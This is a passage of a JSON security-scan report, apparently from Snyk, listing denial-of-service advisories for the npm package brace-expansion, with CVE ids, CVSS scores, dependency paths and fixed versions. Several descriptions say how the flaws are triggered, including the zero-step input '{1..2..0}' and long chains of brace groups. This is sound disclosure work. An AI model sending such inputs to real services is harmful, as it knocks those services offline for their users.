Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
